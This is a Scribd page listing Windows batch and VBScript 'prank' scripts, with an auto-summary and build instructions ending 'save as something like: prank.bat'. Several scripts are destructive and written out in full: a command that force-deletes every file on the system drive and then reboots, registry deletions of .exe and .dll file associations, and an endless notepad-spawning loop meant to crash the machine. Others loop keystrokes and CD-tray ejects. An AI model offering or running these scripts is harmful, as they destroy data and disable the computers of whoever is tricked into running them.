0% found this document useful (0 votes)
45 views2 pages

Freezes and Then It Crashes

The document contains 8 code snippets that are labeled as pranks but could damage computers. The first deletes all files and forces a restart. The second shows an error message and force shuts down. The third deletes all registry values, which cannot be undone. The fourth opens an infinite number of notepads crashing the computer. The remaining snippets repeatedly trigger caps lock, enter, and open/close the CD tray, potentially freezing or crashing the system. The document warns the code is for Windows batch files but should not be run on one's own computer.

Uploaded by

Amjad Khattak
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
45 views2 pages

Freezes and Then It Crashes

The document contains 8 code snippets that are labeled as pranks but could damage computers. The first deletes all files and forces a restart. The second shows an error message and force shuts down. The third deletes all registry values, which cannot be undone. The fourth opens an infinite number of notepads crashing the computer. The remaining snippets repeatedly trigger caps lock, enter, and open/close the CD tray, potentially freezing or crashing the system. The document warns the code is for Windows batch files but should not be run on one's own computer.

Uploaded by

Amjad Khattak
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 2

) The Blue-Death Screen Show the Fatal Blue Screen Error [Dangerous, do NOT try it at your own PC]

@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00

2) Stupid Shutdown Shows a funny Error and shutdowns the PC

@echo off msg * Fatal system error due to admin stupidity! shutdown -c Error! You are too stupid! -s -t 10

3) Delete ALL Values from the Registry [Very Dangerous] This Action CANNOT be Undone!

@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your computer has been destroyed. Have a nice day! GOTO MESSAGE

4) Outnumbered Notepads! This BAT shows a great number of notepads on the PCs screen, the computer freezes and then it crashes.

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

5) Crazy Caps Lock This Hits the Caps Lock Many times.

Set wshShell =wscript.CreateObject(WScript.Shell) do wscript.sleep 100 wshshell.sendkeys {CAPSLOCK} loop

6) Unlimited Enter Hits This hits ENTER repeatedly.

Set wshShell = wscript.CreateObject(WScript.Shell) do wscript.sleep 100 wshshell.sendkeys ~(enter) loop

8) Cool Open-Close of the CD Tray Repeatedly Open and Close the CD Tray.

Set oWMP = CreateObject(WMPlayer.OCX.7) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop

I hope you find these BATs Useful. Note: A BAT is a Windows File that executes CMD commands. To create such a file, open notepad, add the content provided here, save as something like: prank.bat

You might also like